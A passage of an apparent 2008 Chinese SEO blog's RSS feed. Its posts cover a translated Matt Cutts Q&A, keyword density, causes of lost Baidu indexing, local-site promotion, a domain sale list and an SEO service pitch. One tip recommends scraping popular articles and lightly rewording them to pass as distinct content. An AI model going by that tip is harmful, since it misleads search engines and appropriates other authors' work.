		<description><![CDATA[SMX2008搜索营销大会西雅图站现在正在举行中，挑几段感兴趣的会议内容给大家简单翻译一下。今天是Danny Sullivan主持的与Matt Cutts问答。<br/><br/>Danny Sullivan首先询问前几天造假新闻的事。Matt Cutts说他们并不想成为网上警察。但是这种造假新闻和愚人节笑话不是一回事，带有更大的欺骗性，而且是有意图的，不是偶然。如果不对这样的假新闻采取行动，是不负责任的。不惜撒谎来取得链接是错误的。Google必须使自己的用户远离谎言和欺骗。<br/><br/>关于付费链接。Matt Cutts说，最好为公司的长远利益着想，信任和名誉更有价值。<br/><br/>下面是与观众的问答。<br/><br/>关于小工具诱饵<br/><br/>（Zac注：工具诱饵widget bait指的是设计一个小程序，就像博客侧栏经常出现的一些小工具，其他网站使用这个工具，会带上一个链接到工具提供者的网站。）<br/><br/>对Google来说，最重要的是看链接是否是隐藏的？是否是链接到内容不相关的网站？Google是使用算法来鉴别。另外，当人们把这种工具放在他们的网站上时，他们是否真的知道放上去的是什么？带有编辑性质的链接（指的是放链接的人清楚知道放的是什么，而不是把链接藏起来），长久效果更大。<br/><br/>关于搜索结果中出现其他网站的搜索结果<br/><br/>Matt Cutts说，通常搜索引擎并不能填写表格，但是有的时候为了找到其他网站，也会这么做。Danny Sullivan提到Mahalo网站（一个最近挺热门的，人工成分很大的搜索引擎。），Matt Cutts指出，这个网站上的结果实际上包含更多编辑内容，而不是搜索结果。<br/><br/>关于负60和负XX惩罚<br/><br/>Matt Cutts不愿意透露关于这些惩罚的更多细节，只是说他们会呈现更相关的结果。Matt Cutts也说，有的时候大家有点考虑的太多了。Danny Sullivan问，是不是有各种不同程度的惩罚？Matt Cutts回答，决定是，但并没有深入解释。<br/><br/>Google怎样从自然链接中鉴别出付费链接？<br/><br/>他们尝试用算法来鉴别。有的时候买卖链接的方式是挺愚蠢的，留下很多踪迹Google能鉴别。有的时候他们也采取人工行动。<br/><br/>是否所有链接到特定域名的链接都会使这个网站的价值提高？<br/><br/>虽然Danny Sullivan换着方式问了几遍，Matt Cutts都不愿正面回答。<br/><br/>能不能通过放一些垃圾链接指向竞争对手网站，伤害他们的排名？<br/><br/>Matt Cutts说他们非常努力的使这不会发生。（Zac注：言外之意是还是有可能发生，虽然概率极低。）<br/><br/>通过NoFollow控制PR流动的看法<br/><br/>Matt Cutts还是认为与其把精力时间放在控制内部PR流动，还不如花时间在获得更多外部链接上。不过这种方式并不会引起Google的怀疑。<br/><br/>中间还有提到过cloaking的问题。前几天Google站长博客有一篇专门详细解释，过两天再翻译。<br/><br/>顺便说一声，来自搜索引擎的这些官方言论，肯定都不会透露什么重大细节。想看到真正揭秘的读者，一定会失望。看这些搜索引擎的官方言论，对我来说有两个意义，一是确认一些大家都知道却没证据的东西，二是仔细琢磨话里话外的意思。<br/><br/><strong>只能说慎用这种方法是很不错,但是不能大量的使用</strong><br/>作者: Zac@SEO每天一贴<br/>原载: 中新虚拟主机<br/>版权所有。转载时必须以链接形式注明作者和原始出处及本声明。]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/283.htm</link>
			<title><![CDATA[合理分析关键词的密度]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,29 Aug 2008 23:27:05 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=283</guid>
		<description><![CDATA[合理的优化有利于网页的自然排名，然而总有部分黑帽SEO出现，用大量群发软件发送垃圾信息，欺骗搜索引擎，极易遭到受以搜索引擎工程师的处理，欺骗是不能长久，实实在在做内容推广才是重要的，下面广东SEO协会与大家分析搜索引擎对关键字作弊的一些识别。<br/><br/>早期关键字堆砌，是直接搜集用户所搜的关键词，拼凑在一起做成文章，只面向搜索引擎，不面向访问用户，对于这样的作法，当搜索引擎管理专家一经发现，立即会对网站处理掉。<br/><br/>现代搜索引擎怎样识别关键词作弊呢？打个比喻，文章内容代表A,关键词代表B,当关键词B占文章内容A的比例小时，识别为正常，当关键词B占文章内容A的比例大时，会识别会堆砌等有作弊嫌疑。这就说明关键词密度不要过高。<br/><br/>所以提醒大家不要以关键词堆砌的侥幸心理作弊，搜索引擎发展到今天已经很强大，在加上搜索引擎工程师偶尔人工抽样检查（基本无），关键词作弊是逃不过搜索的法眼。<br/><br/>什么样的关键词密度为妙呢？当然每个搜索引擎对关键词密度的处理不同，比例不同，密度处理好了可以提升排名，密度过大，起到相反的效果。建议在3%-8%密度之间比较友好，但大家也不要比着密度做文章，追求自然才是最好的。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/282.htm</link>
			<title><![CDATA[以前注册的老域名出售]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[心情日志]]></category>
			<pubDate>Sat,23 Aug 2008 23:29:52 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=282</guid>
		<description><![CDATA[ytpc.com.cn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(烟台电脑 扬天电脑)&nbsp;&nbsp;50000元<br/>wumenge.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;无梦 E (无梦网)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2000元<br/>zpliyi.cn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;礼仪招聘 招聘礼仪<br/>torch-relay.cn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 火炬传递 圣火传递<br/>ie8beta.com.cn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ie8测试版&nbsp;&nbsp;<br/><br/><br/><br/>QQ:592295668 ]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/281.htm</link>
			<title><![CDATA[百度各个站点收录数量减半揭秘]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Tue,19 Aug 2008 19:51:48 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=281</guid>
		<description><![CDATA[昨天，知情人士对记者爆料称，百度正在大规模拆空搜索服务器的硬盘，而这些硬盘一向用来存放百度可以搜索到的全部中文网页和搜索请求。<br/><br/> 据了解，在近一个月内，百度已将其安置于网通机房内的搜索服务器的硬盘全数拆除，搬运一空。记者从百度技术部门人士处了解到，拆空硬盘的行为有可能意味着百度已经放弃传统搜索的物理存储而开发一种新的存储介质和存储方式，以提高搜索速度的质量。但是，不依靠传统硬盘的存储方式在业内人士听来仍属“诡异”。<br/><br/>在百度内部，这一行动也似乎进行得非常绝密，记者多次询问百度公关部，得到的回复都是不置可否。<br/><br/>难道这就是门户各个站点收录减少一半的原因吗?从6月22日开始百度对各个门户的收录数量拦腰减半,但系统日志上显示百度的蜘蛛访次并未减少,而从百度过来的流量却减少了很多.现象很怪异<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/280.htm</link>
			<title><![CDATA[地方站如何有效推广 如果做个好地头蛇]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Tue,19 Aug 2008 18:56:14 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=280</guid>
		<description><![CDATA[我曾经自己也做了半年多的地方站,结果因为资金,老板的想法,导致没有成功,<br/><br/>看到下面的文章,或许有些答案,这篇文章转自一个比较不错的<br/><br/>地方经营站的大姐的博客,写的非常不错,学习!很多观点有共鸣的地方!<br/><br/>网站就是网站，只不过是一种载体和工具，不要把网站看得高高在上，也不要视网站的巨大杀伤力与无物。<br/><br/>通常，网络是一种渠道，一种为传统服务的渠道，没什么神秘的，真正赚的钱，未必来自于网站，通过网站，你所赚到的，也不仅仅是金钱而已。<br/><br/>地方站如何有效推广？<br/><br/>这个问题太大，我们不妨解构一下这个问题：<br/>&nbsp;&nbsp;&nbsp;&nbsp;第一要素：地方站；第二要素：推广；第三要素：有效（花最少的钱，做最有效的事）。<br/><br/> <br/><br/>地方站的门派林林总总，大体而言，多为与地方息息相关的一些信息资讯之聚合站点，所起到的也是一种通过互联网实现的一种更快捷迅速的近距离（同城）聚合分享。从某种角度而言，但凡能实现如上功能作用之站点，我们都可以把其列入地方站的行列。各位看官也不妨依次标准，拓宽思路，没准会有新的地方站类型诞生，从而跳出现有门户、招聘、征婚、房产、分类等地方站模式的红海，拥有更广阔的生存和发展空间。<br/><br/>互联网有两种发展趋势，了解特别远的地方的人和事和了解身边人和事，其实不光互联网，媒体趋势也是如斯。每个人所处的地理位置和社会环境不同，其脑海里的特别远的站和特别身边的站自然也不相同。<br/><br/>与谋全国网民的强龙大站相比，我们的梦想很简单，仅仅是做一条地方的地头蛇小站而已，但是如何去做出一个合格的地头蛇网站，却是一门复杂的学问。<br/><br/> <br/><br/>1：学会忘记搜索引擎。<br/><br/>与全国站相比，我们的规模不大，辐射范围半径也一般不会超过50公里，相对而言，搜索引擎对于地方站的作用，要远比全国站/垃圾站（垃圾站也可以理解为一种变相的全国站）小的多。做地方站，前期可能还需要仰仗搜索引擎收录，但是要想让地方站发展壮大，就要学会忘记搜索引擎，至少也要做到对搜索引擎收录量的多少能够淡然处之。说到底，地方站的发展是要靠内功，靠网站吸引当地人访问的能力。<br/><br/>2：学会谋准。<br/><br/>互联网的世界，只认第一第二，因此决定了同一个城市，同样定位的地方站，能生存下来的不会超过三家。人单势孤的地方站长们，在对所运营站的选择定位上，一定要精准，尽其全力而攻于一蓝海，避其红海，才有可能从茫茫站海中脱颖而出。这个准自然要靠各位站长们对自身身边的网络环境及媒体环境的把握。<br/><br/>3：让网站具有亲和力。<br/><br/>互联网的魅力在于互联，天涯连为咫尺，彼此用网名(或不留名)通过各种网络工具在交流。那么地方站比起传统互联网站而言，还有一个有力的武器，化咫尺为见面，打破网上网下的的距离，多举办线下活动，多让网站用户彼此见面熟悉熟络。这对于网站的发展来说绝对有百利无一害。<br/><br/>对于广大用户而言，多举办几次活动聚会，多彼此见面几回，他们彼此间的互相印证中，网站不再是冷冰冰的几个字母的组合而已，而是一种妙不可言的缘分和纽带，从心理学而言，网友见面完成了一个从相知到相见，从无到有的实质影像建立的过程，这是与传统的相见相知截然相反，因此网站作为影像建立的重要平台/桥梁/纽带，很自然的在大脑皮层里建立起稳固的映像点，这个点的建立固然不容易，但是要想把这个网站，这个映像点再从该网友的脑海中抹去，则是一件难于上青天的事情------从这个角度而言，真正有亲和力的网站，其流量变化是不会大起大落的。<br/><br/>4：让网站具有生命力。<br/><br/>地方站本身，就是关心身边的事，关心身边的人，因此让广大网站用户参与进来才是保证网站发展的前提。人人都是网站内容制造者，人人都是网站内容分享者，人人也都是网站内容的接受者。接收--à分享--à制造，这样的圈，宛如石头投入水中的涟漪，不断播散，你的网站影响力也就不断扩散，再加以适时的亲和活动，想不让网民参与到你的网站里面都难。<br/><br/>5：实践出真知，多运营多摸索。<br/><br/>很早之前自己有过一篇帖子说自己做地方站的感觉像是养孩子，其实做地方站远比带孩子要难的多，带孩子有规律可循，但是地方站的运营却是毫无定式可言。比如每个城市的论坛大都是disuz，但是论坛的架构会随着该城市差异而各具特色，简单的模式复制只会种橘为枳。<br/><br/>现有的成套的网站模板并非各个地方适用，19楼论坛的栏目设置挪到一个地级市的论坛怕只能是门可罗雀，因此结合本地的特色，不断的调整自己的地方网站，学会营造自己的地方特色，这也是地方网站发展的必须功夫（这种摸索不仅适用于论坛，其它类型的地方站也同样适用）。<br/><br/>6：媒体是把双刃剑。<br/><br/>这一句话绝不是危言耸听，当你借助传统媒体的时候，有没有想过，你在为媒体做着莫名的嫁衣呢？我身边有一个兄弟，运作一个本地的换客网站，时髦的概念加上过人的策划活动能力，很是出尽了一时风头，报纸、电视、广播，皆有其踪迹。结果呢？随着网站的广泛曝光，这位兄弟的换客用户群体还未牢固，就被瞅着媒体报道眼热的一群地方换客网站一拥而上，冲击的七零八落，更有甚者，媒体也从中学会了赶时髦的网络潮，做了几回网上换客的策划，很是出了一回彩。好端端的市场，由于媒体的过早介入，形成了一场乱战的局面，时至今日，换客网仍然以每周一家的速度源源不断地问世。这在让我们看到了媒体影响力之恐怖的同时，也充分让我们警醒到在没有足够准备前让媒体介入网站炒作的可怕后果。<br/><br/>7：学会与人为善，改变自身的定位与习惯。<br/><br/>现在不是过去，不是过去那种有流量就会自动有广告商找上门来的时代，也不是沉默寡言挂上广告代码就能收到支票的时代。作为地方站站长，每一个同城来的ip都很珍贵，如何留住每一个ip，如何让每一个网站用户建立起对于网站好感的映像点，这就需要站长转变自己的定位，不仅仅是技术员、美工、策划的角色，更多的要走出来，走到线下，走到网站用户身边，去学会用自己网站用户的角度去思考问题，去看待自己的网站。你就会发现，改变自己定位习惯的好处远大于改变自身的难度，为了地方站的发展，这很值得。<br/><br/>8：由输血到造血。<br/><br/>这是一个追求财富自由的年代，做网站不言利是很难的。更何况对于不少年轻的站长而言，对于地方站甚至倾注了改变自己命运的希冀。自然一个网站由创建到推广到为人熟知需要不断的输血，但对于有的地方站而言，度过了这个推广输血的阶段后，如何让网站自身造血盈利，就成了下一个摆在站长面前的难题。我的能力有限，远没有达到造血的地步，只能说一下自己对网站造血的思路。<br/><br/>互联网就是工具，地方站只是载体，而要盈利，单纯依靠载体和工具是不现实的，真正的地方站盈利能力，是取决于其对传统商业模式的结合程度和适应能力，这个道理很简单，纵观我们身边的地方报纸，依靠报纸/电视节目本身能盈利赚钱么？只怕未必，报纸办的越来越厚，印刷越多越赔钱，这已经是不少报纸公开的秘密，但都市报每年的利润一再飙升，则是因为其有广告收入，媒体的影响力，吸引受众的注意力，博得广告主的青睐，大把的真金白银的广告投放-----这就是一条典型的造血生物链，由此想开去，方式和载体更灵活的地方站，大抵盈利能力是不会差到哪里去。说白了，站于站之间盈利能力的差异，取决于其对传统商业模式切合的紧密度。<br/><br/>9：这是一场与时间赛跑的竞争。<br/><br/>与资源的强势和资本的雄厚相比，身为草根站长的我们，拥有的也只有笨鸟先飞的智慧和对互联网的熟悉。问题是随着互联网的发展，越来越多的强势资源资本已注意到了地方站这块丰硕的市场，开始试水互联网，尝试地方站。相对而言可供笨鸟先飞的跑道也越来越短，你可以选择作为笨鸟的旁观者，也可以选择作为一只尝试先飞的笨鸟，这一切并不会影响地方站的趋势：<br/>&nbsp;&nbsp;&nbsp;&nbsp;若干年后，地方站的行列里的成功者，更多的是一携本地传媒资源（电视、报纸）的本土巨无霸诞生，如华商网，桂林生活网、今日扬州等（地方站本身也是一种地方媒体）；二是泊来巨头的派兵布子，这种布子宛如围棋的布局，行云流水，凭借自身丰富的并购经验及强有力的资源优势，通过熟练的资本运作，采用收购参股等多种方式，问鼎地方站的霸主宝座。这种空降实力，重点开花的案例将来会越来越多的发生在我们身边的地方站身上。<br/><br/>自然，这种并购的主角之一最好是身为地头蛇网站站长的你，至于你是选择服从资本意志换取逍遥游还是要立志鲲鹏展翅，则是你自己的选择。但现在我只能告诉大家，在没有资本的垂青或资源的扶持下，谁能坚持的够久，谁的胜算也就越大。 <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/279.htm</link>
			<title><![CDATA[百度收录突然减少的原因和解决办法 ]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Tue,19 Aug 2008 18:24:47 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=279</guid>
		<description><![CDATA[“比谷歌更懂中文“的百度蜘蛛经常关注您网站吗？最近我看到很多朋友说自己在百度里网站莫名其妙的收录减少了,一时也想不出个所以然来，而且到现在CFP相信有很多人还没有找到原因，也没有合适的解决办法。“百度拔毛”“百度割肉”经常挂在口边的站长朋友可以从以下几点考虑和分析自己的网站，相信就以后就不会重倒复折了，也相信会尽快增加和改善百度收录数量。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;新站很多时候可能在百度里看到的SITE数和实际在百度搜索引擎收录页面不相符，原因很简单因为百度蜘蛛可能抓取到你的网站页面了，但是百度与GOOGLE不同，百度还得分析你页面的内容是否值得他收录（百度尽量会不收录重复的内容），最终决定是否让他收录在搜索结果中，所以对百度新站突然收录减少，首先应该了解这一点。别头几天看着百度里的SITE数很高，过几天内容审核通不过，收录数减少了，就想不明白，所以做网站尽量要用原创文章或编辑过的文章。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;百度收录减少可能性太多,大约有几十种,如果不是上面这个原因，常见的原因应该有以下十点:<br/><br/>(1) 网站作弊.<br/><br/>原因: 比如堆积关键字,隐性文字等等.如果出现这样的情况,百度就算已经收录了你,别庆幸自己蒙混过关,因为在更新的时候也会慢慢剔除的.二级域名和博客交叉连接.<br/><br/>解决方法:这个不用说了吧,赶快把自己的页面好好修改一下吧!另外,二级域名不要过分乱用.博客交叉连接现在无用了,里面留一两个连接就可以,多了去掉.<br/><br/>(2) 网站规范<br/><br/>原因: 标题和关键词(KeyWords)过多,有的站长喜欢把搜索相关的关键字都放进去,你放一万个也没用的.还有就是描述(Description)不合理,如果你是新站,这个绝对有用的,要设置好.<br/><br/>解决方法: 标题里留三四个关键字足够了,太多了百度不喜欢.建议设置为页面主题+专题名+网站名.至于关键词,你加上了没关系,但是至少页面应该出现点相关内容吧.描述的设置很简单,只要语言通顺,对页面做个大概的总结,出现两三次关键字就足够了.<br/><br/>(3) 网站质量<br/><br/>原因: 内容几乎全部采集来的,而且是采集的很热门的文章.百度突然会收录你几千页,但是百度收录后,在一定时间内,会重新检索,如果你内容没有价值的话,被丢弃.<br/><br/>解决方法: 采集后,稍微修改一下再发布.不要太懒,你动动手,把文章简单浏览一下,更改段落或者部分内容,至少有点和别人不一样的地方.原创的多了最好,另外在页面留个版权信息.转载的话也可以留----文章整理:XXX网站 http:XXXXXX<br/><br/>(4) 网站连接<br/><br/>原因: 网站缺少外部连接,或者外部连接逐渐减少,百度对你站的重视当然也会降低,慢慢的减少收录内容.连接的质量是很重要的.垃圾连接宁可不要!另外,检查你的页面,如果有连接指向被封的站,百度会把你当作帮助犯的.<br/><br/>解决方法: 检查网站外部连接,少的话就去交换,或者去一些大站大论坛发点能引起别人兴趣的帖子,留下连接.回复的人越多,效果越好. 如果站内有连接指向被封的站,尽快删除.<br/><br/><br/>(5) 网站改版<br/><br/>原因: 网站没有修改好,就已经提交到百度,动不动来个大变化,大更新,今天这样,明天那样.分类和标题换来换去.还有时候出现测试,或者其他和网站无关的内容.<br/><br/>解决方法: 定位好,要做什么站就坚持下去.可以增加新的分类和内容.老的内容最好不要胡乱删除.如果你更换空间的换,最好提前换.保证在一段时间内以前的空间内容继续存在,以防万一.<br/><br/>(6) 网站空间<br/><br/>原因: 网站空间不稳定,动不动打不开网站,百度连续两次以上更新都无法抓到相信信息,那么你肯定要被从数据库清理,因为百度以为你的站已经关闭,或者相关页面不存在了.还有一个就是,你IP上多次出现作弊站点,跟着倒霉了.<br/><br/>解决方法: 买空间时候注意,找点信誉好的IDC.别光为了便宜,如果经常出问题,别说百度了,网民也承受不了.毕竟你的站不会引起百度重视.另外,买空间时候时候检查一下虚拟主机IP上的站点,和收录情况,以及被封闭站点的数量.<br/><br/>(7) 网站安全<br/><br/>原因: 自己的站点上加了恶意代码或者故意挂马的话,百度能分析的出来.会降低你的信任度.还有就是被那些小黑客用工具入侵,修改或者删除了大部分页面.<br/><br/>解决方法: 定期备份,出现问题及时解决.一般百度更新都是夜里勤快.对个人站每天更新的不多.如果一旦不正常,立刻处理,应该可以避免的.<br/><br/>(8) 网站优化<br/><br/>原因: 对SEO有一定的了解,就刻意的修改,网站做出来,过度优化,虽然没有明显作弊,但是根本没有任何价值.虽然通过百度可以得到流量,毕竟网站做出来是提供给别人浏览的,如果你回头率过低,也不行.百度不是一直提倡所谓的用户体验嘛.<br/><br/>解决方法: 不要过分优化,SEO的本质是为搜索引擎服务,不是欺骗.万事把握个度.打个比方说,你页面某个关键字加粗一次,百度知道是重点,可你把所有的相关关键字都加粗,百度会怎么想???!!!<br/><br/>(9) 网站倒霉<br/><br/>原因: 也许你倒霉,遇见百度大的更新或者算法改变,会很多站点一起出现收录减少或者被K.正好你的站被百度看上了.<br/><br/>解决方法: 没有太好的办法.只有慢慢等百度重新收录.如果你是SEO高人,也可以尽快琢磨出最新的算法给大家分享.<br/><br/>(10) 网站关闭<br/><br/>原因: 你的站点已经关闭了,但是百度还有很多相关的收录信息.论坛类比较常见.可收录却不断减少.<br/><br/>解决方法: 我不是神仙,这个我帮不了. 也许你去找李彦宏,他才可以帮你解决这个问题!<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/278.htm</link>
			<title><![CDATA[Google SEO优化 ]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[Google优化]]></category>
			<pubDate>Tue,19 Aug 2008 18:19:40 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=278</guid>
		<description><![CDATA[Google是全球最大的搜索引擎，是全世界人使用最多的搜索引擎。如果您的网站能够在Google上获得好的排名，将提升您的企业在全球的销售业绩。我们的Google SEO优化服务，旨在提高您网站在Google左侧的自然排名。很多朋友一谈到GOOGLE排名，总以为它是单一的网页标签优化处理，其实，这种观点是错误的。<br/><br/>　　我做GOOGLE排名服务，要做的有以下几步工作：<br/><br/>　　第一步：网站诊断，包括：<br/><br/>　　网站结构诊断：看其是否适合搜索引擎习惯;<br/><br/>　　网站页面诊断：看其是否布局合理，处理得当;<br/><br/>　　网站文件名诊断：看其是否用了不合理的文件名;<br/><br/>　　网站营销基础诊断：看其目前所用的网络推广方面是否合理。<br/><br/>　　第二步：网站基础流量分析：<br/><br/>　　流量统计系统安装<br/><br/>　　流量来路分析，<br/><br/>　　地区分布分析，<br/><br/>　　第三步：网站优化处理：<br/><br/>　　网站结构优化：让网站结构合理化，以适合搜索引擎习惯<br/><br/>　　网站页面优化：关键词布局，图文处理等。<br/><br/>　　网站连接优化：让网站整体的连接系统化，一方面有助于搜索引擎搜索，一方面结合用户习惯，引导用户来看网站的内容，以促成最后的生意成交。<br/><br/>　　网站标签优化：网站标签设计，优化。<br/><br/>　　第四步：GOOGLE排名其他策略：<br/><br/>　　制造流量：GOOGLE排名关键还是流量啊，这个过程中我们会用到许多网络营销方法。<br/><br/>　　制造外部连接：通过友情连接，文章宣传，帖子宣传等等各种方式提高网站外部里连接。<br/><br/>　　其他付费广告… …<br/><br/>　　网站要想再GOOGLE排名做的好，首先要自身做的好，推广好，才能取得较好的排名。所以对网站进行GOOGLE排名要站在综合营销的角度来考虑，然后去做。这样才能达到效果。<br/><br/>　　如果想靠单一的标签优化，以及作弊手段达到GOOGLE排名考前的效果，那是十分幼稚可笑的。<br/><br/>　　毕竟，GOOGLE排名还是为了推广网站。那么，网站的综合推广做好了，可以在google取的较好的排名就是情理之中的事了。<br/><br/>　　【什么是Google优化】<br/><br/>　　Google优化，是针对Google搜索引擎进行的“搜索引擎优化”，指根据Google搜索引擎的网站排名规则进行网站的规划，网页的设计，以确保网站从内容、结构、链接等尽量符合Google排名规律，能在搜索引擎上获得较好的排位，让更多的潜在客户能够很快地找到你，从而求得网络营销效果的最大化。<br/><br/>　　搜索引擎在排名网站时，不仅要看网页的信息相关度，同时也会考虑网站的声望如何，比如外部链接有多少，网页的点击率有多高等等。因此一个内容充实的网站肯定会排在内容贫乏的网站前面。<br/><br/>　　巨大的访问量和影响力使得Google排名(即Google左侧排名)是精明的网络营销商家必争之地!通过优化实现稳定首页排名可以带来无限商机和长远发展以及利润，落后的排名不仅是效益的损失，同时意味着将一次次宝贵商机，恭手让与竞争对手!<br/><br/>　　【google优化左侧排名能永远第一吗?】<br/><br/>　　所有进行过google左侧排名推广的企业都希望自己的排名越高越好，这样的心情我们非常能理解!我们也经常接到客户的电话要求把他们网站的google左侧排名做到第一，或一定要求做到google左侧排名第一位置的。在这里我们要告诉广大客户的是：我们有实力将大部份的关键词做到google左侧排名第一的位置，但没有任何人能保证你的排位永远排在google左侧排名第位。google左侧排名本身就是自然排名，是根据一个网页的相关性和重要性进行打分排序的，这是一个动态的排名，他的排名也许会有一些波动，存在此消彼涨的铁定规律，毕竟排位就只那几个。在google大全中我们也可以找到“没有任何人能保证你永远排在google左侧排名第一名”的信息。对我们google左侧排名服务商来讲会尽可能为我们的客户获得更高排名。从而为客户带来价值!但我们也需要一定的承诺空间，这样如果google左侧排名有一些小变动的时候，我们有时间来进行调整。我们承诺google左侧排名的排位一般是google首页前十名的排位。<br/><br/>　　【google优化是作弊吗?】<br/><br/>　　google左侧排名在中国兴起两三年，可以说也是在刚起步的阶段。这期间google左侧排名也经历了几次大调整，每一次的调整也许就会有一批违规的网站受到惩罚。很多搞google左侧排名的公司看到自己做的客户站受到惩罚会告诉客户：“这是不可避免的，因为google左侧排名本来就是作弊!”，曾经有一个客户问我你会通过作弊来排名吗?我回答说不是，结果客户一下子严肃起来，提高声音问我到：你不作弊你怎么能把google左侧排名做上来?言下之间是怀疑我的诚信问题，在他看来google左侧排名不作弊是不可能做上来的，这是好可悲的想法!!其实google左侧排名和作弊是完全两个要概念的问题。真正的google左侧排名是通过丰富内容、调整网站结构等方法来提高网站的相关性和重要性，从而让网站更符合google左侧排名的规则，最终获得好的google左侧排名的排位，在中国称为搜索引擎优化，在国外称为SEO(search engine optimizer)。而作弊却是通过google禁止的一些手段，欺骗google和用户来提高排名的方法，请看google对一些作弊行为的定义：<br/><br/>　　避免隐藏文字或隐藏连结。<br/><br/>　　不要使用伪装或鬼祟的重新导向功能。<br/><br/>　　不要寄出自动的查询给 Google。<br/><br/>　　不要加载具有不相关字词的网页。<br/><br/>　　不要建立拥有大量相同内容的多个网页、子网域或网域。<br/><br/>　　避免用专门为搜寻引擎建立的「入口」网页，或其它如 Affiliate Program (类似口耳相传的营销模式) 这种极少或甚至没有原始内容的「俗套」方法。<br/><br/>　　这些质量指南包含最常见的欺诈或人为操控行为的类型，但是 Goolge 也可能向其它未列在此处的误导行为 (例如，欺骗使用者注册知名网站的不同拼字网页) 做出严厉的回应。 只是因为特定欺诈技术没有包含在此页面，就认为 Google 会核准此行为，这种想法很危险。 网站管理员只要尽心尽力维护上面所列出的这些基本原则的精神，将可以提供给使用者更完善的经验，其次可以坐拥更好的排名，且远在那些成天只想钻漏洞的人之上!<br/><br/>　　可见，虽然有很多人利用作弊的方法获得好的google左侧排名，但google左侧排名并不等于作弊，作弊获得的google左侧排名是不长久的，最终会受到google的惩罚。<br/><br/>　　【了解Google左侧及Google左侧排名的价值】<br/><br/>　　搜索引擎排名是最好的网站推广方式，而Google又是搜索引擎霸主，网站在Google左侧排名前列，会给你带来针对性最强的潜在客户。<br/><br/>　　Patrick Ahern很清楚Google的力量，少了它，生意还真不好作。 他所任职总裁的数据复原集团(Data Recovery Group)向来在Google排名第四，而今年一月，Google在无预警的情况下将该公司排除在搜寻结果之外，结果该公司业务马上下跌了30%。<br/><br/>　　21世纪我们的营销方式已经发生了巨大的变化，21世纪是一个网络营销的时代是电子商务的时代，无论是客户还有商家都在利用互联网来获取和销售自己的产品，而客户寻找资料的工具就是搜索引擎，Google是搜索引擎中的老大，只要你占据了Google左侧排名的关键位置你就是该行业有权威有势力的企业，大部门客户尤其是有实力的客户自然会找上门来和你做生意。<br/><br/>　　【网站优化真的是你们所想的很简单吗?】<br/><br/>　　有些人以为以下就是所谓的网站优化：1：在标题是加了几十个关键字。 2：在META里加了大量的关键字，重复了一遍又一遍。3：把字体设置的跟背景颜色一样，加了大量的文字。诸如隐形页面,欺骗性重定向,作弊链接技术/恶意链接,日志欺骗行为如此类只不过是欺骗机器人的手段而已。请企业不要自行优化网站，搞不好的话会被搜索引擎踢出来，当这个时候您这个域名就永久性的在GOOGLE里消失了...<br/><br/>　　【抢夺Google排名(左侧)制高点，抢回本该属于你的客户!】<br/><br/>　　关于您想要让您网站出现在Google左侧结果的前十名?前三名?甚至第一吗?<br/><br/>　　关于您想要让您的网站是霸占搜索结果中百分之80%以上的点击率?<br/><br/>　　关于您想使用最少的投入而或得最大收益?<br/><br/>　　关于您想超越您绝大多数的竞争对手，使您处于非常有利的竞争位置吗?<br/><br/>　　【google优化服务商如何选择? 】<br/><br/>　　google左侧排名是一项技术性很强的服务项目。企业要进行google左侧排名，选择一家专业的技术实力过关的google左侧排名服务商特别重要。如果您选择了一家没有实力的google左侧排名服务商，很有可能很长时间排不上或把企业的网站做坏了，这样给您带来的损失将会更大，毕竟时间也是金钱，会错换很多商机。我们建议企业在进行google左侧排名服务商选择的时候不要一味的选择价格低的，首先要考虑google左侧排名排名服务商的技术实力是否过关的，其次才是考虑价格相对便宜些的google左侧排名服务商。那么如何选择一家有实力的google左侧排名服务商呢?我们给您的建议如下：<br/><br/>　　A、 多找几家google左侧排名服务商进行沟通，了解其进行google左侧排名的技术理念是否正确，如果哪家google左侧排名服务商认为google左侧排名就是作弊，甚至承诺在一个月以内就可以完成，那您要特别小心了，因为他极有可能让GOOGLE永远删除你的网站。<br/><br/>　　B、 